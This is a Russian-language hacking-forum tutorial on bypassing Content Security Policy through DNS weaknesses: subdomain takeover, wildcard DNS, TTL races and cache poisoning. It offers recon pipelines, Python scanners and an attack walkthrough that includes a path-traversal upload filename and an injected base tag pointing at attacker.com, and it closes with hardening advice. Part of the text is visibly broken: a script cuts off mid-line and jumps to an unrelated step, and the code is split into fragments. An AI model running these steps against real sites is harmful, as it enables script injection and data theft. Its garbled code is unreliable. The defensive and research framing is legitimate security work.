HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Веб-уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 16.01.2026, 23:28
xzotique
Новичок
Регистрация: 14.11.2025
Сообщений: 0
С нами: 263424

Репутация: 0
По умолчанию



Content Security Policy - это не серебряная пуля. Это швейцарский нож с тупым лезвием и кривой отвёрткой, который тебе вручили, чтобы ты отбивался от танка.

CSP - это не защита. Это - механизм контроля. И в этом заключается вся его фундаментальная уязвимость. Его продают как неприступную стену, но на деле это - длинный, сложный, зачастую написанный дрожащей рукой список правил для очень буквоядного, но не очень умного охранника (браузера). А где есть длинные правила, там есть противоречия. Где есть буквоядность, там есть злоупотребление буквой. Где есть сложность, там - ошибки.

CSP - это политика. Политику можно интерпретировать. Ею можно манипулировать. Её можно саботировать изнутри с помощью её же собственных механизмов.

А теперь представь, что эта хрупкая, переусложнённая система контроля построена поверх другой системы - древней, архаичной, работающей на принципах доверия полувековой давности. Эта система - DNS. Та самая, которую все воспринимают как данность, как воздух. «Ну, DNS же просто превращает exаmple.com в 93.184.216.34, что тут может пойти не так?»

Вот именно так и начинаются самые красивые катастрофы. Слабейшее звено в цепи безопасности - это всегда то, которое все считают надёжным. Пока фронтенд-разработчик бьётся над каскадными стилями и скриптами, пока бэкендер оптимизирует запросы к базе, целый пласт атак существует на уровне, который им невидим - на уровне разрешения имён, TTL-таймаутов, кеширования, поддоменов и CNAME-цепочек. И CSP, при всей своей сложности, слепо доверяет этому пласту. Если в политике сказано
Код:
script-src https://*.trustеd-cdn.net
, то браузер не будет проводить расследование, кому на самом деле принадлежит IP за
Код:
malicious-subdоmain.trustеd-cdn.net
. Он спросит DNS, получит ответ и доверчит.

Сегодня мы не будем скользить по поверхности. Мы наденем гидрокостюмы и нырнём в самые тёмные, илистые воды на стыке двух протоколов: высокоуровневой политики CSP и низкоуровневой, фундаментальной системы DNS.

Дисклеймер (или, как я это называю, «ритуал отведения юридической порчи»):

Всё, что будет описано в этом материале, имеет строго одну цель - углублённое изучение механизмов безопасности для их усиления. Это инструмент для:
  • Тестирования своих собственных ресурсов (у тебя есть на них все права).
  • Проведения легальных пентестов в рамках ясного, письменного, подписанного соглашения с владельцем системы.
  • Понимания векторов атак, чтобы строить более robust-ную защиту.
Использование этих техник без явного разрешения - это не «хакерство», не «исследование» и не «шалость». Это уголовное преступление. Ты рискуешь не только своей свободой, но и репутацией всего сообщества. Мы здесь ради знания, ради ремесла, ради того, чтобы делать сети крепче, находя слабости первыми. Не для того, чтобы ломать чужое. Помни об этом. Код - закон, но выше него - ответственность.

Итак, если ты готов запачкать руки конфигами, ошибаться в стендах, дебажить скрипты и думать на три слоя глубже маркетинговых слоганов - начинаем наше погружение. Первая цель - разобрать, почему CSP, этот якобы вершитель судеб, на самом деле так сильно зависит от старого, доброго и очень уязвимого DNS.

Часть 1: CSP - не священный Грааль, а инструкция с дырками
Для начала давайте без иллюзий. Что такое CSP? По сути, это такой HTTP-заголовок:

Код:
Content-Security-Policy: default-src 'self'; script-src 'self' https://trustеd.cdn.com;
Браузер читает это и говорит: «Окей. Скрипты можно грузить только с того же источника (
Код:
'self'
) и с
Код:
https://trustеd.cdn.com
. Всё остальное - блокирую».

Кажется, что это убивает классические XSS? Как бы не так. Основные проблемы:
  1. Политики можно ослаблять. Разработчикам лень, им надо встроить виджет из десятка источников. В итоге политика обрастает директивами вроде
    Код:
    script-src *
    ,
    Код:
    unsafe-inline
    или
    Код:
    https:
    . Это грубейшие ошибки, но они повсеместны.
  2. Динамический код. Директива
    Код:
    'unsafe-eval'
    разрешает
    Код:
    eval()
    ,
    Код:
    setTimeout('string')
    и т.д. Многие фреймворки (старые версии Angular, некоторые настройки React) требуют этого. Это сразу огромная дыра.
  3. Унаследованный код. Самая частая история: «У нас на проекте 15 лет legacy, мы не можем всё переписать, просто включите CSP, чтоб аудитор отстал». Включают максимально разрешающую политику, которая лишь создаёт видимость безопасности.
Но мы сегодня пойдём глубже. Мы предположим, что администратор не идиот. Он составил жёсткую, правильную политику. Без unsafe-inline, без unsafe-eval, с чётким белым списком (allow-list) источников. Например:

Код:


Код:
Content-Security-Policy: default-src 'none';
                         script-src 'self' https://assets.myapp.com;
                         style-src 'self';
                         img-src 'self' https://images.myapp.com;
                         connect-src 'self';
                         frame-ancestors 'none';
base-uri 'self';
Смотрится грозно.
Код:
'self'
- это только текущий протокол, хост и порт. Плюс явно указанный CDN для скриптов и картинок. Где тут атаковать? Кажется, что нигде.

Вот тут-то и начинается магия происхождения (origin).

Что такое

Код:
'self'
- это текущий origin. Origin - это схема (протокол), хост (домен) и порт.
Код:
https://myаpp.com:443
и
Код:
https://myаpp.com
- один origin.
Код:
http://myаpp.com (HTTP)
и
Код:
https://myаpp.com (HTTPS)
- разные origins.
Код:
https://myаpp.com
и
Код:
https://www.myаpp.com
- разные origins! Это важно.

А что такое хост? На уровне браузера и HTTP - это просто строка. То, что мы, люди, читаем как «поддомен.домен.зона» - для браузера сначала просто текст. Превращение этого текста в IP-адрес - задача DNS. И вот здесь лежит первая группа лазеек.

Часть 2: DNS - забытый картограф в мире политик
Все думают про DNS как про телефонную книгу. Ввёл имя - получил IP. Скучно. Но в контексте безопасности веба DNS - это система, определяющая границы доверия. Если CSP говорит
Код:
'self'
, браузер смотрит на свой текущий origin (например,
Код:
https://app.mуcompany.com
) и разрешает ресурсы с того же хоста.

А что, если хост может меняться? Что если app.mycompany.com в один момент ведёт на
Код:
IP 10.0.0.1
, а через минуту - на
Код:
10.0.0.2
? Это же всё ещё
Код:
'self'
! А что если злоумышленник может повлиять на это преобразование?

Техника 1: Поддомен-призрак (Subdomain Takeover + CSP)
Это классика, но её часто упускают из виду в контексте CSP.
Сценарий:
  1. Компания
    Код:
    myаpp.com
    использует облачный сервис (
    Код:
    AWS S3, Heroku, GitHub Pages, Azure Blob Storage
    ) для хостинга статики по адресу assets.myapp.com.
  2. Политика CSP включает
    Код:
    script-src 'self' https://аssets.myapp.com
    .
  3. Позже компания отказывается от этого сервиса, удаляет ресурсы, но забывает удалить запись CNAME в DNS, которая указывает
    Код:
    аssets.myapp.com
    на внешний сервис (например,
    Код:
    myаpp.herokuapp.com
    ).
  4. Злоумышленник регистрирует этот самый внешний сервис (например, создаёт приложение на Heroku с именем
    Код:
    myаpp
    ).
Что происходит? Теперь
Код:
аssets.myapp.com
технически принадлежит атакующему. Он может загрузить туда любой JavaScript-файл. А так как CSP явно разрешает
Код:
https://аssets.myapp.com
, браузер жертвы, зашедшей на
Код:
https://аpp.myapp.com
, доверяет скрипту с этого поддомена и выполняет его. XSS достигнут.

Почему это работает против 'self'? Потому что для браузера
Код:
аssets.myapp.com
- это не
Код:
'self'
(если основной сайт на
Код:
app.myаpp.com
), но это явно прописанный разрешённый источник в директиве
Код:
script-src
. Забытый поддомен стал троянским конём.

Практический инструмент 1: Subjack / SubOver / Can-I-Take-Over-XYZ

Для поиска таких забытых поддоменов есть отличные инструменты.
  • Subjack (Go):
    Код:
    go install github.cоm/haccer/subjack@latest
    . Он берёт список поддоменов и проверяет их на предмет возможности захвата, проверяя «мёртвые» CNAME.
  • Как использовать в связке с CSP-аудитом:
    1. Соберите все домены и поддомены цели (
      Код:
      amass
      ,
      Код:
      subfinder
      ,
      Код:
      assetfinder
      ).
    2. Вытащите политику CSP с главной страницы (можно глазами, можно скриптом).
    3. Выпишите все разрешённые домены из директив
      Код:
      script-src
      ,
      Код:
      style-src
      ,
      Код:
      img-src
      ,
      Код:
      font-src
      ,
      Код:
      connect-src
      .
    4. Пропустите эти домены через
      Код:
      subjack
      . Если какой-то из них «мёртвой хваткой» висит на внешнем сервисе - у вас потенциальный вектор.

Bash:


Код:
# Примерный пайплайн
echo
"myapp.com"
|
subfinder -silent
|
httprobe -c
50
|
while
read
url
;
do
curl
-sI
"$url"
|
grep
-i
"content-security-policy"
|
head
-1
>
policy.txt
# (парсим policy.txt, вытаскиваем домены)
done
# Допустим, нашли assets.myapp.com
subjack -w domains.txt -t
100
-timeout
30
-ssl -c /path/to/fingerprints.json -o takeover_results.txt
Техника 2: Динамические поддомены и Wildcard DNS
Более интересный случай. Многие SaaS-платформы и современные приложения используют шаблоны вида
Код:
{user-id}.myаpp.com
или
Код:
{project}.myаpp.com
. Часто для этого в DNS прописывается запись
Код:
*.myаpp.com (wildcard)
, которая указывает на один и тот же сервер или балансировщик. Сервер, получив запрос на
Код:
evil.myаpp.com
, смотрит на заголовок
Код:
Host: evil.myаpp.com
и решает, что ему показывать.

Уязвимость: А что если приложение, работающее на основном origin myapp.com, имеет политику CSP с
Код:
script-src 'self'
? Кажется, безопасно.

Но что такое
Код:
'self'
для страницы, открытой на
Код:
аlice.myapp.com
? Это origin
Код:
https://аlice.myapp.com
. А что насчёт
Код:
bоb.myapp.com
? Это другой origin! Схема и порт те же, а хост другой. Поэтому для страницы на
Код:
аlice.myapp.com
скрипт с
Код:
bоb.myapp.com
не является 'self' и будет заблокирован CSP.

А где же уязвимость? Она - в логике бэкенда и конфигурации
Код:
wildcard
. Предположим, есть функция, которая позволяет пользователям загружать аватарки. Она сохраняет их по пути
Код:
/uploads/avatar/{user-id}.jpg
и отдаёт по URL
Код:
https://myаpp.com/uploads/avatar/{user-id}.jpg
. CSP с
Код:
img-src 'self'
это разрешит. Всё ок.

Но что если разработчик, чтобы «ускорить отдачу статики», решает отдавать аватарки через тот же динамический поддомен? Или что если из-за конфигурации
Код:
nginx/Apache
файл, доступный по
Код:
https://myаpp.com/uploads/avatar/evil.jpg
, также доступен по

Код:
https://аnything.myapp.com/uploads/avatar/evil.jpg
? Потому что wildcard DNS ведёт на тот же сервер, а веб-сервер не проверяет заголовок Host для статических файлов.

Теперь у нас есть страница на
Код:
https://аlice.myapp.com/
с CSP
Код:
script-src 'self'
. Мы не можем внедрить скрипт. Но можем ли мы внедрить что-то, что заставит страницу загрузить скрипт с origin, который считается 'self'?

Да. Например, через уязвимость в загрузке файлов. Если мы можем загрузить файл с расширением
Код:
.js
и он будет доступен по

Код:
https://аlice.myapp.com/uploads/temp/our.js
- это 'self', CSP пропустит. Но часто загрузка скриптов запрещена. А что с JSONP-эндпоинтами или старыми API, которые возвращают JavaScript? Если они находятся на том же origin и не имеют защитных заголовков, их можно использовать для утечки данных.

Ключевой момент: В условиях wildcard DNS аlice.myapp.com и myаpp.com - это разные origins с точки зрения браузера, но один и тот же сервер с точки зрения бэкенда. Это несоответствие можно использовать для:
  1. Обхода
    Код:
    frame-ancestors
    .
    Если myapp.com запрещает встраивание (
    Код:
    frame-ancestors 'none'
    ), страницу всё равно можно встроить в
    Код:
    iframe
    с
    Код:
    src=alice.myаpp.com
    , если тот же самый контент доступен по этому поддомену (частая ошибка конфигурации).
  2. Загрязнения origin. Если на
    Код:
    evil.myаpp.com
    (который указывает на тот же IP) мы можем разместить вредоносный скрипт, и найдётся на основном сайте функционал (например, импорт скриптов по URL, который не проверяет полное соответствие origin, а только принадлежность к домену), то CSP может быть обойдён.
Практический инструмент 2: Собственный сканер несоответствий Origin

Напишем простой, но мощный скрипт на Python, который будет проверять, доступен ли один и тот же контент с разных поддоменов, и как на это реагирует CSP.

Python:


Код:
#!/usr/bin/env python3
import
requests
from
urllib
.
parse
import
urlparse
import
sys
def
check_origin_bypass
(
target_url
,
subdomains_file
)
:
"""
    Проверяет, доступен ли контент с основного домена
    через различные поддомены (wildcard/dynamic).
    """
try
:
# Получаем ответ с основного домена
main_response
=
requests
.
get
(
target_url
,
timeout
=
10
)
main_content
=
main_response
.
content
[
:
5000
]
# Берём первые 5кб для сравнения
main_csp
=
main_response
.
headers
.
get
(
'Content-Security-Policy'
,
''
)
print
(
f"[+] Main URL:{target_url}"
)
print
(
f"[+] Main CSP:{main_csp}"
)
parsed_url
=
urlparse
(
target_url
)
main_domain
=
parsed_url
.
netloc
        scheme
=
parsed_url
.
scheme
with
open
(
subdomains_file
,
'r'
)
as
f
:
subdomains
=
[
line
.
strip
(
)
for
line
in
f
if
line
.
strip
(
)
]
for
sub
in
subdomains
:
test_domain
=
f"{sub}.{main_domain}"
if
sub
else
main_domain
# для @ записи
test_url
=
f"{scheme}://{test_domain}{parsed_url.path}"
try
:
test_response
=
requests
.
get
(
test_url
,
timeout
=
10
,
headers
=
{
'Host'
:
main_domain
}
)
# Иногда нужно подменить Host
test_content
=
test_response
.
content
[
:
5000
]
if
test_response
.
status_code
==
200
:
# Проверяем, тот же ли контент
if
main_content
==
test_content
:
print
(
f"[!] IDENTICAL CONTENT:{test_url}"
)
# Проверяем CSP для этого поддомена
test_csp
=
test_response
.
headers
.
get
(
'Content-Security-Policy'
,
''
)
if
test_csp
!=
main_csp
:
print
(
f"    CSP DIFFERENCE! Main: '{main_csp}' vs Sub: '{test_csp}'"
)
# Анализируем, ослабляет ли это CSP
# (например, если main CSP имеет frame-ancestors 'none', но на поддомене его нет)
if
"frame-ancestors 'none'"
in
main_csp
and
"frame-ancestors 'none'"
not
in
test_csp
:
print
(
f"    [CRITICAL] frame-ancestors policy missing on subdomain! Clickjacking possible."
)
else
:
# Контент разный, но может быть полезно
print
(
f"[~] Different content on:{test_url}({len(test_content)}bytes)"
)
except
requests
.
exceptions
.
RequestException
as
e
:
# print(f"[-] Failed to reach {test_url}: {e}")
pass
except
Exception
as
e
:
print
(
f"[-] Global error:{e}"
)
if
__name__
==
"__main__"
:
if
len
(
sys
.
argv
)
!=
3
:
print
(
f"Usage:{sys.argv[0]} "
)
sys
.
exit
(
1
)
check_origin_bypass
(
sys
.
argv
[
1
]
,
sys
.
argv
[
2
]
)
Этот скрипт - основа. Его можно расширять: проверять не только главную страницу, но и ключевые эндпоинты (
Код:
/api, /upload, /static/
), искать файлы, которые доступны с любого поддомена, и автоматически сравнивать CSP-заголовки.

Часть 3: Глубокая настройка DNS - TTL, кеширование и race conditions
Теперь переходим к более эзотеричным, но от того не менее опасным вещам. DNS - это распределённая кеширующая система. У каждой записи есть TTL (Time To Live) - время, на которое резолверы (провайдеры, браузеры, ОС) могут запомнить ответ.

Сценарий Race Condition на основе DNS.
Представьте приложение, которое динамически генерирует уникальные поддомены для сессий или документов:
Код:
{random-id}.dоcs.myapp.com
. Каждый поддомен указывает (через CNAME или A-запись) на уникальный бэкенд-сервер или путь. CSP на основном сайте myapp.com включает в script-src шаблон
Код:
*.dоcs.myapp.com
(что уже рискованно).
  1. Атака: Злоумышленник инициирует создание «документа» и получает поддомен
    Код:
    sеcret.docs.myapp.com
    .
  2. Уязвимость: DNS TTL для
    Код:
    *.dоcs.myapp.com
    установлен очень низким (например, 1 секунда) для гибкости.
  3. Эксплуатация: Атакующий быстро (в течение окна TTL) меняет DNS-запись для
    Код:
    secret.dоcs.myapp.com
    , чтобы она указывала на его сервер. Но не просто меняет, а предвосхищает запрос жертвы.
  4. Механика: Атакующий заставляет жертву (через XSS или просто переходя по ссылке) обратиться к
    Код:
    secret.dоcs.myapp.com
    . Из-за низкого TTL локальный DNS-резолвер жертвы может не иметь записи в кеше и пойдёт запрашивать её заново. Если атакующий сможет «подсунуть» свой IP-адрес быстрее легитимного DNS-сервера (например, контролируя локальный сетевой трафик жертвы или используя уязвимости в DNS-резолверах), то браузер жертвы подключится к серверу злоумышленника.
  5. Итог: Браузер считает, что загружает контент с
    Код:
    secret.dоcs.myapp.com
    - разрешённого источника согласно CSP. Но на самом деле контент приходит с враждебного сервера, который может отдать вредоносный скрипт. CSP пройден.
Это сложно осуществить, но теоретически возможно, особенно в условиях внутренних корпоративных сетей или при использовании уязвимых публичных DNS-резолверов.

Практический инструмент 3: DNS Cache Snooping & Poisoning Test

Мы не будем писать полноценный инструмент для poisoning (это отдельная большая тема), но можем создать скрипт для оценки рисков.

Python:


Код:
#!/usr/bin/env python3
import
dns
.
resolver
import
time
def
check_dns_ttl_and_cache
(
domain
)
:
"""Проверяет TTL записей A и CNAME для домена и его поддоменов."""
resolver
=
dns
.
resolver
.
Resolver
(
)
# Можно указать конкретный резолвер: resolver.nameservers = ['8.8.8.8']
record_types
=
[
'A'
,
'CNAME'
]
for
rtype
in
record_types
:
try
:
answers
=
resolver
.
resolve
(
domain
,
rtype
)
for
answer
in
answers
:
print
(
f"[+]{rtype}record for{domain}:{answer.to_text()}"
)
# TTL - это атрибут ответа
print
(
f"    TTL:{answer.ttl}seconds ({answer.ttl/60:.2f}minutes)"
)
if
answer
.
ttl

all_subs.txt
[*]Получение CSP: Просканируй найденные живые поддомены и главный домен на наличие CSP.

Bash:


Код:
cat
all_subs.txt
|
httpx -silent -ports
80,443
,8080,8443 -threads
100
|
while
read
url
;
do
echo
-n
"$url : "
;
curl
-sI
"$url"
|
grep
-i
"content-security-policy"
|
head
-1
||
echo
"NO CSP"
done
>
csp_inventory.txt
[/LIST]Этап 1: Анализ политики.
  1. Выбери основную цель (чаще всего это главное приложение
    Код:
    аpp.myapp.com
    ).
  2. Вручную изучи её CSP. Выпиши все директивы, особенно
    Код:
    script-src, style-src, img-src, font-src, connect-src, frame-ancestors.
  3. Составь список всех указанных источников (URL, домены). Обрати внимание на
    Код:
    'self', 'unsafe-inline', 'unsafe-eval', https:
    .
Этап 2: Проверка источников.
Для каждого домена из CSP (кроме 'self'):
  1. Захват поддоменов: Прогони через
    Код:
    subjack/SubOver
    .
  2. DNS-анализ: Проверь TTL, наличие wildcard (
    Код:
    dig A *.assets.myаpp.com
    ).
  3. HTTPS-анализ: Проверь сертификат (wildcard? срок?), CAA-записи.
  4. Доступность контента: Используй наш Инструмент 2, чтобы проверить, доступен ли один и тот же контент с разных поддоменов (особенно если в CSP есть
    Код:
    'self'
    ). Это может выявить ошибки конфигурации веб-сервера.
Этап 3: Поиск точек входа.
Даже с жёсткой CSP нужно искать, куда можно вставить свой код или повлиять на загрузку ресурсов.
  1. Поиск JSONP: Найди старые эндпоинты API, которые возвращают JavaScript с callback-параметром.

    Bash:


    Код:
    # Используем waybackurls, gau
    echo
    "myapp.com"
    |
    gau
    |
    grep
    -i
    "callback="
    |
    head
    -20
    echo
    "myapp.com"
    |
    waybackurls
    |
    grep
    -i
    "jsonp"
    |
    head
    -20
  2. Загрузка файлов: Найди функционал загрузки аватар, документов, медиа. Можно ли загрузить
    Код:
    .html, .svg
    (который может содержать скрипт)? Можно ли определить конечный путь к загруженному файлу? Будет ли он доступен с origin
    Код:
    'self'
    ?
  3. Динамические редиректы: Параметры типа
    Код:
    ?redirect=, ?next=, ?url=
    . Могут ли они вести на подконтрольный тебе поддомен, который считается доверенным? Может ли это обойти connect-src или frame-ancestors?
Этап 4: Сборка и тестирование payload.
Предположим, мы нашли:
  • Политика:
    Код:
    script-src 'self' https://cdn.myаpp.com
    .
  • На
    Код:
    cdn.myаpp.com
    нет
    Код:
    Subdomain Takeover
    , стоит валидный сертификат.
  • Но мы нашли, что на основном домене есть функционал загрузки изображений, который не проверяет тип файла и сохраняет его по предсказуемому пути:
    Код:
    /uploads/{timestamp}_{filename}
    .
  • Файлы из
    Код:
    /uploads/
    доступны с любого поддомена из-за wildcard DNS и одинаковой конфигурации nginx.
Эксплуатация:
  1. Создаём файл exploit.jpg, который на самом деле содержит JavaScript. Но браузер не исполнит .jpg как скрипт.
  2. Нам нужно заставить страницу загрузить наш файл как скрипт. Для этого можно попробовать:
    • Уязвимость в загрузке с изменением расширения: Если сервер переименовывает файлы, добавляя своё расширение, это сложно.
    • Path Traversal в имени файла: Если можно загрузить файл как
      Код:
      exploit.jpg%2f..%2f..%2fexploit.js
      , и сервер обработает это, сохранив в
      Код:
      /uploads/exploit.js
      . Маловероятно, но стоит проверить.
    • Использование base-uri: Если директива
      Код:
      base-uri
      не настроена или слаба, можно попробовать внедрить

      Код:
      base href="https://attacker.com/"
      ; и затем подгружать скрипты относительно этой базы.

      Но это заблокирует CSP, если
      Код:
      base-uri 'self'
      .
    • Самый реалистичный сценарий для нашего случая - найти возможность внедрить разметку, которая загрузит наш файл не как скрипт, а как данные, и затем выполнить его через другую уязвимость (например, через
      Код:
      eval()
      в другом доверенном скрипте, если есть
      Код:
      unsafe-eval
      ). Без unsafe-eval сложно.
Это показывает, что обход CSP редко бывает тривиальным. Это пазл, состоящий из нескольких уязвимостей (в логике приложения + в конфигурации инфраструктуры + в политике).

Часть 6: Защита - как не стать жертвой
Если ты админ или разработчик, что делать?
  1. CSP Report-Only и мониторинг. Всегда начинай с
    Код:
    Content-Security-Policy-Report-Only
    . Настрой
    Код:
    report-uri
    или
    Код:
    report-to
    и смотри, что блокируется в реальной работе приложения. Постепенно ужесточай политику.
  2. Конкретные домены, никаких wildcard в источниках. Избегай
    Код:
    *.myаpp.com
    в директивах
    Код:
    script-src
    . Указывай явно
    Код:
    assets.myаpp.com
    , cdn.myapp.com. Чем меньше поверхность, тем лучше.
  3. Управляй своими поддоменами. Регулярно аудитуй DNS-записи. Удаляй неиспользуемые CNAME. Используй сервисы вроде AWS Route53, которые могут предотвращать захват поддоменов (путем проверки существования цели CNAME).
  4. Правильные настройки веб-сервера. Конфигурация
    Код:
    nginx/Apache
    должна строго учитывать заголовок
    Код:
    Host
    . Блокируй доступ к статическим файлам, если Host не соответствует ожидаемому. Используй разные домены/поддомены для пользовательского контента и системных ресурсов (принцип разделения).
  5. Безопасность инфраструктуры. Wildcard-сертификаты - зло. Используй короткоживущие сертификаты, выпускаемые автоматически (например, через Let's Encrypt и cert-manager в Kubernetes). Настрой CAA-записи. Контролируй доступ к приватным ключам.
  6. Хеши и nonce. Для современных приложений используй
    Код:
    script-src 'nonce-{random}'
    . Это самый сильный механизм. Каждый ответ сервера генерирует уникальный nonce, встраивает его в тег
    Код:
    script nonce="{random}";
    и в заголовок CSP. Даже если атакующий сможет внедрить скрипт, он не сможет угадать nonce для этого запроса. Это убивает практически все рассмотренные выше атаки, связанные с загрузкой скриптов с поддоменов.
  7. strict-dynamic. Современная директива, которая позволяет доверять скриптам, загруженным другим доверенным скриптом (например, загрузчикам библиотек). При грамотном использовании сильно упрощает CSP, переходя от белого списка доменов к модели доверия, основанной на цепочке загрузки.
Итоговая формула крепкой CSP:

Код:


Код:
Content-Security-Policy:
  default-src 'none';
  script-src 'nonce-{RAND}' 'strict-dynamic';
  style-src 'self';
  img-src 'self' data:;
  font-src 'self';
  connect-src 'self';
  frame-ancestors 'none';
  base-uri 'self';
  report-uri /csp-report-endpoint;
А все сторонние сервисы загружай через прокси-эндпоинт на своём origin, тем самым сводя количество доверенных сторонних доменов к нулю.



Заключение
Вот мы и добрались до финала. Но если ты думаешь, что это просто точка в конце статьи, ты сильно ошибаешься. Это - точка сборки. Место, где все разрозненные техники, куски кода и наблюдения должны сложиться в единую философию подхода. В оружие, которое ты положишь в свой арсенал не для галочки, а для реального понимания. Давай пройдемся по этому финальному аккорду медленно, с расстановкой, выжмем из каждой мысли все соки.

CSP - Это Не Стена. Это Сложно Настроенная, Глючная Сигнализация с Севшим Аккумулятором
Давай начистоту: индустрия продает тебе CSP как неприступный периметральный забор из умных слов. strict-dynamic, nonce, hash. Звучит солидно. На деле же развертывание CSP в 95% случаев - это не стратегическая установка защиты. Это отчаянная попытка заглушить вой сирены в панели мониторинга, кричащей о бесконечных violation reports.

Представь себе не стену, а стареющую систему безопасности в огромном, заброшенном складе. В ней:
  • Камеры (script-src, style-src, img-src) - это директивы. Одни смотрят только в коридор, другие имеют слепые зоны за колоннами (те самые
    Код:
    unsafe-inline
    , которые не смогли убрать, потому что легаси-код развалится). Их углы обзора определяются политикой.
  • Датычи движения на окнах (connect-src, font-src) - это второстепенные директивы, которые часто настраивают по остаточному принципу, забывая, что окно - тоже путь внутрь.
  • Сигнализация (report-uri / report-to) - это механизм отчетности. Она орет, когда что-то ломает правило. Но что, если охранник, который должен реагировать на этот вой, давно выключил звук, потому что 99% срабатываний - это кривые скрипты Яндекс.Метрики? Сигнализация есть, реакции нет. Это и есть типичный статус-кво.
  • Аккумулятор всей системы - это её реализация в браузере. Баги в парсере политик, тонкости обработки
    Код:
    default-src
    , наследование в
    Код:
    iframe
    - это то, что может разрядить всю систему в ноль, превратив её в бесполезную коробку.
Наша задача - не тыкаться лбом в эту «стену». Наша задача - изучить склад.
  1. Найти слепые зоны камер. Это те самые DNS, конфигурации серверов, история доменов.

    Камера смотрит на домен
    Код:
    аssets.cloud-provider.com
    и считает его безопасным. Но она не видит, что за этим доменом стоит цепочка CNAME на
    Код:
    clоud-provider.s3.amazonaws.com
    , а
    Код:
    bucket name
    может быть подобран. Она не видит, что TTL записи - 5 секунд, и в момент между ее кешированием в резолвере и следующим запросом можно подсунуть свой IP. Она слепа к инфраструктуре.
  2. «Подкупить охранника» - это про логику приложения.Самый изящный обход. Зачем ломать правило, если можно заставить легитимный, доверенный компонент сделать грязную работу за тебя?
    • Уязвимость JSONP-эндпоинта в доверенном домене, который есть в
      Код:
      script-src
      . Он же доверенный! Он может вернуть тебе данные с краем чувствительной информации и выполниться.
    • Возможность загрузить SVG с вредоносным JavaScript в
      Код:
      img-src
      (в некоторых браузерах при определенных условиях это еще возможно).
    • Динамическое разрешение путей в доверенных CDN, где можно, оставаясь в рамках разрешенного источника
      Код:
      https://cdn.cоm/
      , добраться до пользовательского контента:
      Код:
      /uploads/../malicious.js
      .
    • Это не взлом политики. Это кооптация её элементов. Охранник (браузер) выполняет инструкцию (политику), а ты используешь легальный инструмент (доверенный скрипт) для удара в спину.
DNS: Древнее, Консервативное и Совершенное Поле Боя
Тут мейнстрим спит крепким сном. Все носятся с поднятием привилегий в облачных панелях, а DNS для них - как сантехника: должно работать, и ладно. Но именно в этой «скучной» сфере происходят самые элегантные атаки.

Почему DNS идеален для атак на CSP?
  1. Уровень абстракции. Веб-разработчик думает в терминах доменов (
    Код:
    аpi.example.com
    ). CSP оперирует origin (схема+хост+порт). Но браузер, чтобы получить IP для origin, вынужден спуститься на уровень ниже - в мир DNS. И этот мир живет по своим, древним законам доверия, кеширования и устаревших записей.
  2. Разрыв в ответственности. DNS часто администрирует не разработчик и не security-инженер, а сетевой отдел или внешний хостинг-провайдер. Конфигурация DNS-зон - это отдельная вселенная A, AAAA, CNAME, MX, TXT записей, где про безопасность CSP никто не думал и не будет думать.
  3. Динамизм под статичной маской. DNS кажется статичным, но он динамичен: TTL, anycast, гео-балансировка, failover-механизмы. Этот динамизм можно использовать, чтобы подсунуть браузеру жертвы «правильный» IP лишь на долю секунды, в момент разрешения ключевого доверенного домена.
Практические рычаги (не просто записи, а оружие):
  • Поддомены (*.trusted-cdn.net в политике). Классика.
    Код:
    аssets.trusted-cdn.net
    может быть не занят. Если у провайдера есть опция
    Код:
    wildcard DNS (*.custоmer.cloud.net → инстанс клиента)
    , можно зарегистрировать
    Код:
    еvil.customer.cloud.net
    . CSP увидит поддомен доверенного провайдера и разрешит загрузку. Инструмент:
    Код:
    dnsrecon, amass, subfinder
    . Но важнее - логика: искать не все поддомены, а искать неиспользуемые поддомены именно тех доменов, которые фигурируют в CSP.
  • CNAME-цепи и внешние зависимости.
    Код:
    internаl-app.company.com
    → CNAME →
    Код:
    compаny.cloudapp.net
    . В политике может быть только
    Код:
    internal-аpp.company.com
    . Но что, если атака на
    Код:
    cоmpany.cloudapp.net
    (например, субдоменный takeover у облачного провайдера) скомпрометирует весь origin? CSP проверяет финальный хост? Нет. Он проверяет то, что в политике. Инструмент: Рекурсивные запросы
    Код:
    dig CNAME
    для каждого доверенного домена, чтобы вытащить всю цепочку зависимостей.
  • TTL (Time to Live) - таймер на гранате. Если TTL ключевого доверенного домена - 300 секунд, у тебя есть окно. Можно провести атаку на DNS (отравление кеша, компрометация аккаунта у DNS-провайдера) и знать, что твоя запись пролежит в кешах резолверов жертвы несколько минут. Инструмент:
    Код:
    dig +nocmd +noall +answer +ttlid DOMAIN;
    - первое, что нужно смотреть.
  • Исторические записи (DNS archaeology). Домен
    Код:
    оld-api.example.com
    давно не используется, удален из кода, но остался в CSP по забывчивости. Запись в DNS удалена, и он указывает в никуда (
    Код:
    NXDOMAIN
    ). Или, что хуже, он был привязан к облачному инстансу, который освободился, и теперь этот поддомен можно зарегистрировать тебе. Инструмент: Просмотр исторических снапшотов через
    Код:
    SecurityTrails, DNSDumpster, CrimeFlare
    . Поиск CNAME на
    Код:
    *.s3.amаzonaws.com, *.clоudfront.net, *.аzurewebsites.net
    .
Мантра Исследователя: Вопросы, Которые Нужно Задать Себе
Поэтому в следующий раз, когда ты увидишь CSP-хедер, остановись. Не скролль дальше. Задай ему вот этот неудобный допрос:
  1. «А что стоит за этим доменом?» Не просто IP. А кто хостинг-провайдер? Используется ли облачная платформа с общим пространством имён (AWS, Azure, GCP, Heroku)? Есть ли у этого домена сестринские поддомены, которые могут быть скомпрометированы?
  2. «Кто им реально владеет?» Это домен компании? Или стороннего SaaS (типа Jira, Salesforce, HubSpot)? Если сторонний, то как настроена интеграция? Может ли пользователь этого SaaS (в том числе злоумышленник) влиять на контент, который будет обслуживаться с этого origin (например, загружать файлы в тикеты)?
  3. «Как он резолвится?» Прямой A-запись? Или длинной цепочкой CNAME через три разных CDN? Каков TTL? Где географически находятся его NS-серверы? Можно ли повлиять на этот процесс?
  4. «Можно ли его перехватить?» Это главный вопрос. Subdomain takeover? Устаревшая облачная инфраструктура? Просроченный SSL-сертификат, который может позволить MITM при определенных условиях? Компрометация аккаунта у DNS-регистратора?
  5. «Один ли это origin на самом деле?» Фундаментальный вопрос.
    Код:
    https://еxample.com и https://еxample.com:443
    - один origin. А
    Код:
